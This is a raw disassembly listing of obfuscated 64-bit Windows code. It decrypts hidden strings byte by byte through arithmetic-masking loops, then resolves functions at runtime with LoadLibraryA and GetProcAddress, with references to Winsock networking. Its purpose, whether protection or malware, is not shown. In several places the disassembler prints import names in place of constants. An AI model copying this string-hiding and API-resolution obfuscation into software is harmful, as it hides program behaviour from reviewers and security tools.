movzx r10d, r11b
sub r10b, al
sub r10b, 0x73
add r10b, dl
movabs rcx, 0xfd68a539431fd571
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x17
add r11b, r10b
add r11b, cl
mov byte [rbp + rbx + 0xd39], r11b
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140197823
mov r11, rdx
movabs rcx, 0x3306f9f2c035527f
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x79
movabs rdx, 0xbfceca330e5ed03
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x15
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xd39], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x1347105827c8f8cc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, getservbyname
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xd39], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xd39]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140197823
movabs rcx, 0x15de6b1ee4a9235b
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x7d
movzx eax, byte [rbp + rbx + 0xd39]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140197823
movabs rcx, 0xc9848d0443f51f6d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 5
jmp 0x140197820
movabs rcx, 0xbaf0459a562f07db
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 3
jmp 0x140197811
lea rcx, [rbp + 0x14bf845]
jmp 0x140198546
lea rcx, [rbp + 0xaf040e]
jmp 0x140198546
lea rcx, [rbp + 0xd39]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x140198567
xor r12b, r12b
mov byte [rbp + 0x5d10], r12b
jmp 0x1401993a4
mov byte [rbp + 0x2261], 0xee
mov byte [rbp + 0x2262], 0xc5
mov byte [rbp + 0x2263], 0xe0
mov byte [rbp + 0x2264], 0xea
mov byte [rbp + 0x2265], 0xe9
mov byte [rbp + 0x2266], 0xf1
mov byte [rbp + 0x2267], 0xd3
mov byte [rbp + 0x2268], 0xc1
mov byte [rbp + 0x2269], getservbyname
mov byte [rbp + 0x226a], 0x2a
mov byte [rbp + 0x226b], gethostbyaddr
mov byte [rbp + 0x226c], reloc.WS2_32.dll_select
mov byte [rbp + 0x226d], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x226e], recvfrom
mov byte [rbp + 0x226f], getservbyname
mov byte [rbp + 0x2270], getservbyname
mov byte [rbp + 0x2271], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x2272], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x2273], 0x3d
mov byte [rbp + 0x2274], 0x3f
mov byte [rbp + 0x2275], 0xc4
xorps xmm0, xmm0
movups xmmword [rbp + 0x2276], xmm0
movzx r11d, byte [rbp + 0x5d00]
nop dword [rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov rdi, r12
cmp rdi, 0x25
jae 0x14019923c
movzx ebx, byte [rbp + rdi + 0x2261]
mov r10, rbx
nop dword [rax + rax]
cmp r8, rdi
ja 0x140199230
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14019867d
movabs r15, 0x14b8e79e7c471f78
lea rcx, [rdi + r15]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x48
jmp 0x1401986c0
je 0x14019919f
inc rax
cmp r8, rax
je 0x140199104
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401990c7
lea rax, [r9 + 5]
cmp r8, rax
je 0x140199073
lea rax, [r9 + 3]
cmp r8, rax
je 0x140199042
movabs r15, 0x14b8e79e7c471f78
cmp r9, rdi
ja 0x140199224
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1401986fe
movabs rdx, 0xb32b000031d594d8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140198740
lea rax, [r9 + 1]
cmp r8, rax
je 0x140198ff0
inc rax
cmp r8, rax
je 0x140198fc2
lea rax, [r9 + 3]
cmp r8, rax
je 0x140198f9f
lea rax, [r9 + 4]
cmp r8, rax
je 0x140198f78
lea rax, [r9 + 7]
cmp r8, rax
je 0x140198f53
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140198c58
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140198c30
lea rax, [r9 + 8]
cmp r8, rax
je 0x140198c04
lea rax, [r9 + 4]
cmp r8, rax
je 0x140198bdb
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140198bc7
lea rax, [r9 + 5]
cmp r8, rax
je 0x140198ba1
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140198b7c
lea rax, [r9 + 6]
cmp r8, rax
je 0x140198b59
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140198b25
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1401991fc
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1401991d9
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1401988f2
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1401988ca
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1401988a3
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140198ac4
movabs rdx, 0x4065c30d7a9e1628
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x18
add r11b, dl
jmp 0x140198740
movabs rdx, 0x16f3f3d0820fd738
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401986c0
movabs rdx, 0xed82249389819848
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140198635
cmp r8, 0x2a
jae 0x140198ef7
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x140198e0b
movabs rcx, 0xa33a30c3cec81470
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
cmp r9, 0x200
jb 0x140198ee7
movabs rcx, 0x41ac4925845689d0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x60]
jmp 0x14019900e
lea rax, [r9 + r8]
cmp rax, 9
je 0x140198f26
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x140198d2a
movabs rcx, 0xf00f30c39cf27f98
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
jmp 0x140198a5a
movabs rcx, 0x330200012b017d10
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
movzx eax, byte [rbp + rdi + 0x2261]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140198623
movabs rcx, 0xe01e618739e4ff30
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
jmp 0x140199129
movabs rdx, 0xb6ac924a4156c040
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x20
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1401990e8
movabs rcx, 0x8d3ac30d48c88150
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
add r8, r9
jmp 0x1401990eb
movabs rdx, 0x63c8f3d0503a4260
mov ecx, gethostbyaddr
jmp 0x140199082
movabs rcx, 0x3a57249357ac0370
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
dec rdi
inc rdi
jmp 0x140198623
movabs rcx, 0x10e555565f1dc480
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
inc r9
dec rdi
inc rdi
jmp 0x140198623
movabs rdx, 0xe7738619668f8590
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14019900e
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140198c7f
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
jmp 0x140198ae7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140198cc5
movabs rdx, 0x6656000063ab29b0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x18
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x2261]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140198623
inc rax
cmp r8, rax
jne 0x140198cf4
movabs rcx, 0xe2ab6db74d55e680
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
jmp 0x1401990eb
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140198ae7
movabs rcx, 0x5f00db6e3700a350
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
dec rdi
inc rdi
jmp 0x140198623
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140198d5f
movabs rdx, 0x198100009580be88
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14019900e
inc rax
cmp r8, rax
jne 0x140198d96
movabs rdx, 0xbf483cf477b9ba48
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
jmp 0x1401990eb
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140198dca
movabs rdx, 0x122bdb6e68d63828
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x18
add r11b, dl
jmp 0x140199129
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140198a5a
movabs rcx, 0x650f79e859f2b608
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
movzx eax, byte [rbp + rdi + 0x2261]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140198623
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140198e51
movabs rdx, 0xccac0000c7565360
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x2261]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140198623
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140198e83
mov byte [rbp + rdi + 0x2261], r11b
inc rdi
jmp 0x140198623
movabs rdx, 0x6b1e18627ce4c8c0
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0x2261]
sub r11b, al
sub r11b, 0x40
add r11b, dl
add r11b, bl
jmp 0x140199096
movabs rdx, 0x948fe79f757307b0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x18
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x2261]
add r11b, dl
jmp 0x140199126
movabs rdx, 0x282b4924eed5cb48
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1401991c0
movabs rdx, 0xfeb979e7f6478c58
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x68
add r11b, dl
jmp 0x140199157
movabs rcx, 0xabd5db6e052b0e78
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
jmp 0x1401990eb
movabs rdx, 0x2f806db71b8051a8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140198623
movabs rcx, 0xdc9ccf3d2a63d3c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
movabs rdx, 0x566530c4009da948
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x2261], cl
inc r9
dec rdi
inc rdi
jmp 0x140198623
movabs rdx, 0x6047618640b916f8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x1c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140198623
movabs rdx, 0xd63c30c4f9c9918
mov ecx, 0x2c
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x7fd70000f92be838
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0x2261], cl
add r8, r9
jmp 0x1401990eb
movabs rdx, 0xba8024925e801b38
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140198623
mov rbx, r10
movabs rcx, 0x910e555565f1dc48
add rcx, rdi
and r10b, cl
mov eax, 4
sub al, r10b
lea r11d, [rax + rax]
add r11b, cl
add r11b, bl
movabs rcx, 0xa948cf3df1ba2728
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x18
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x2261], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xbe01b6dc6e0146a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x60
add bl, cl
mov byte [rbp + rdi + 0x2261], bl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x2261]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140198623
movabs rdx, 0x3e2ab6db74d55e68
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0x2261]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140198623
movabs rcx, 0xc410555690f35958
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x68
jmp 0x140198620
movabs rdx, 0x9a9e861998651a68
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140198610
lea rdx, [rbp + 0x1494701]
jmp 0x140199243
lea rdx, [rbp + 0x506679]
jmp 0x140199243
lea rdx, [rbp + 0x2261]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140199264
xor r12b, r12b
mov byte [rbp + 0x5d10], r12b
jmp 0x1401993a4
mov ebx, dword [rax + 4]
mov dword [0x1404e9d1c], ebx
mov dword [rbp + 0x51bc], r12d
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x51c0]
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rbp + 0x53c0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x53c8], xmm0
movups xmmword [rbp + 0x53d8], xmm0
mov qword [rbp + 0x53e8], rax
movups xmmword [rbp + 0x53f0], xmm0
mov dword [rbp + 0x5400], eax
mov dword [rbp + 0x5404], r12d
mov qword [rbp + 0x5408], r12
mov qword [rbp + 0x5410], r12
mov dword [rbp + 0x5418], r12d
mov qword [rbp + 0x5420], r12
mov qword [rbp + 0x5428], rax
mov dword [rbp + 0x5430], eax
mov dword [rbp + 0x5434], r12d
mov dword [rbp + 0x5438], r12d
mov dword [rbp + 0x543c], r12d
mov word [rbp + 0x5440], r12w
movups xmmword [rbp + 0x5448], xmm0
movups xmmword [rbp + 0x5458], xmm0
mov qword [rbp + 0x5468], rax
mov qword [rbp + 0x51b0], 0xaed0de
mov dword [rbp + 0x51b8], 1
mov eax, dword [0x1404e9e80]
mov dword [rsp + 0x48], eax
lea rax, [rbp + 0x51b0]
mov qword [rsp + 0x40], rax
mov eax, dword [0x1404e9e0c]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], r12
mov eax, dword [0x1404e9e70]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, ebx
call fcn.140163710
mov r15d, eax
test eax, eax
js 0x14019938b
cmp dword [rbp + 0x51bc], 0x10000
je 0x140199391
mov r15d, 0xc0000001
xor r12b, r12b
mov byte [rbp + 0x5d10], r12b
test r15d, r15d
jns 0x1401a1059
lea rax, [rbp + 0x1d10]
mov qword [rbp + 8], rax
mov rdx, r14
lea rcx, [rbp + 0x1d10]
call fcn.140135eb0
mov rbx, rax
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x1d30]
mov qword [rsp + 0x70], rax
mov rdx, r13
lea rcx, [rbp + 0x1d30]
call fcn.140135eb0
mov qword [rsp + 0x68], rax
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0x1d50]
call fcn.140135eb0
mov qword [rbp + 8], rax
movzx r15d, byte [rbp + 0x36b]
mov rdx, rbx
lea rcx, [rbp + 0x1d70]
call fcn.140135eb0
mov r14, rax
mov qword [rsp + 0x70], rax
mov byte [rbp - 0x30], 0
lea rcx, [rbp + 0x1d90]
call fcn.140155160
nop
lea rcx, [rbp - 0x2f]
call fcn.140135ff0
mov rdi, rax
lea rdx, [rbp + 0x230]
mov rcx, r14
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp + 0x238]
mov rcx, r14
call fcn.14013e7f0
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x1db0]
call fcn.14013ed00
nop
lea rdx, [rbp + 0x1db0]
lea rcx, [rbp + 0x3350]
call fcn.1401cb620
nop
lea rdx, [rbp + 0x3350]
lea rcx, [rbp + 0x7d0]
call fcn.1401e4a40
nop
lea rcx, [rbp + 0x3350]
call fcn.14015c7a0
lea rdx, [0x14047f0e8]
lea rcx, [rbp + 0x1dd0]
call fcn.140155030
mov rdx, rax
lea rcx, [rbp + 0x7e0]
call fcn.14015d120
nop
lea rdx, [0x14044a4fc]
lea rcx, [rbp + 0x3438]
call fcn.1401cb650
nop
lea rdx, [rbp + 0x3438]
lea rcx, [rbp + 0x7e0]
call fcn.14015d160
nop
lea rcx, [rbp + 0x3438]
call fcn.14015c7a0
lea rcx, [rbp + 0x7e0]
call fcn.14015d170
mov rsi, rax
mov byte [rbp + 0x20e3], WSASetLastError
mov byte [rbp + 0x20e4], 0x19
mov byte [rbp + 0x20e5], 0x8d
mov byte [rbp + 0x20e6], 0x1b
mov byte [rbp + 0x20e7], 0x75
mov byte [rbp + 0x20e8], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x20e9], 0x8a
mov byte [rbp + 0x20ea], reloc.WS2_32.dll_socket
mov byte [rbp + 0x20eb], 0x8d
mov byte [rbp + 0x20ec], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x20ed], 0x80
mov byte [rbp + 0x20ee], reloc.WS2_32.dll_send
mov byte [rbp + 0x20ef], 0x62
mov byte [rbp + 0x20f0], recvfrom
mov byte [rbp + 0x20f1], 0x98
mov byte [rbp + 0x20f2], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x20f3], 0x9d
mov byte [rbp + 0x20f4], 9
mov byte [rbp + 0x20f5], 0xa
mov byte [rbp + 0x20f6], reloc.WS2_32.dll_inet_addr
xor eax, eax
mov qword [rbp + 0x20f7], rax
mov dword [rbp + 0x20ff], eax
mov word [rbp + 0x2103], ax
mov byte [rbp + 0x2105], al
movzx r11d, byte [rbp + 0x5d00]
movabs r13, 0x954ff1980f4de5d4
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14019a400
movzx ebx, byte [rbp + rdi + 0x20e3]
mov r10, rbx
cmp r8, rdi
ja 0x14019a3f4
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140199623
movabs rcx, 0xca2860d67aa22f84
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x64
jmp 0x140199650
je 0x14019a35b
inc rax
cmp r8, rax
je 0x14019a2f9
lea rax, [r9 + 2]
cmp r8, rax
je 0x14019a2a0
lea rax, [r9 + 3]
cmp r8, rax
je 0x14019a230
nop
cmp r9, rdi
ja 0x14019a3e8
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x140199685
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
mov ecx, 0x1a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401996d3
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14019a1d2
lea rax, [r9 + 3]
cmp r8, rax
je 0x14019a1c1
lea rax, [r9 + 5]
cmp r8, rax
je 0x14019a199
lea rax, [rcx + 1]
cmp r8, rax
je 0x14019a176
lea rax, [r9 + 4]
cmp r8, rax
je 0x14019a151
lea rax, [r9 + 8]
cmp r8, rax
je 0x14019a12c
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140199d06
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140199ce2
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140199cae
lea rax, [r9 + 2]
cmp r8, rax
je 0x140199c7d
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140199c69
lea rax, [r9 + 4]
cmp r8, rax
je 0x140199c41
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140199c1e
lea rax, [r9 + 6]
cmp r8, rax
je 0x140199bfa
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140199bd5
lea rax, [r9 + 9]
cmp r8, rax
je 0x140199bb0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401996e0
add r11b, dl
cmp r8, 0x3e8
jae 0x14019a0d6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx edx, r12b
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x14019a0ff
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x140199e44
movabs rdx, 0x2b9f131b38a55274
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2c
jmp 0x140199b02
movabs rdx, 0x7fdfa9905bd362f8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x1c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14019a37c
movabs rdx, 0xeb8ee7e3668f03f0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14019a31d
movabs rdx, 0x573e2636714aa4e8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x58
jmp 0x14019a2c3
movabs rcx, 0xc2ed64897c0645e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
jmp 0x14019a27f
movabs rdx, 0x2e9ca2dc86c1e6d8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14019a27c
movabs rdx, 0x9a4be12f917d87d0
mov ecx, 0x28
jmp 0x14019a23f
movabs rcx, 0x5fb1f829c3928c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
dec rdi
inc rdi
movzx r12d, byte [rbp + 0x5d10]
jmp 0x1401995d2
movabs rcx, 0x71aa5dd5a6f4c9c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
movzx r12d, byte [rbp + 0x5d10]
jmp 0x1401995d2
movabs rdx, 0xdd599c28b1b06ab8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 8
jmp 0x14019a1f1
lea rax, [r9 + 5]
cmp r8, rax
jae 0x140199d2f
movabs rdx, 0xca2860d67aa22f84
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostbyaddr
jmp 0x140199b61
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140199d61
movabs rdx, 0x2a9fe3301e9bcba8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14019a37c
inc rax
cmp r8, rax
jne 0x140199d92
movabs rdx, 0xbef0a4dd13e02ab0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x18
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14019a31d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140199dc3
movabs rdx, 0x5341668a092489b8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 8
jmp 0x14019a2c3
mov byte [rbp + 0x5d10], r12b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140199e0c
movabs rdx, 0xa4846d3dde3605d8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
mov byte [rbp + 0x5d10], r12b
dec rdi
inc rdi
jmp 0x1401995d2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140199b6d
movabs rdx, 0xcd25f097c8bec3e8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x58
mov byte [rbp + 0x5d10], r12b
jmp 0x14019a1f1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140199e75
movabs rdx, 0xbfefd4c82de9b17c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x64
jmp 0x14019a1f1
inc rax
cmp r8, rax
jne 0x140199eba
movabs rdx, 0xb4b818cec727aca8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x20e3]
add r11b, bl
jmp 0x14019a2c3
movabs rdx, 0xcc26c0acaeb53d1c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x1e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14019a37c
movabs rdx, 0x37d5feffb970de14
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14019a31d
movabs rcx, 0xf347ba5cee82004
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1c
jmp 0x14019a27f
movabs rdx, 0x7ae3b9f8d9a3c0fc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14019a27c
movabs rdx, 0xe692f84be45f61f4
mov ecx, 0x2a
jmp 0x14019a23f
movabs rdx, 0x29a0b345049244dc
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 4
add r11b, dl
movabs rdx, 0x563ef64b57411e1c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x20e3], cl
inc r9
dec rdi
inc rdi
movzx r12d, byte [rbp + 0x5d10]
jmp 0x1401995d2
movabs rdx, 0x440ceae43a3c69b4
mov ecx, 0xa
add rdx, rdi
movzx eax, bl
and al, dl
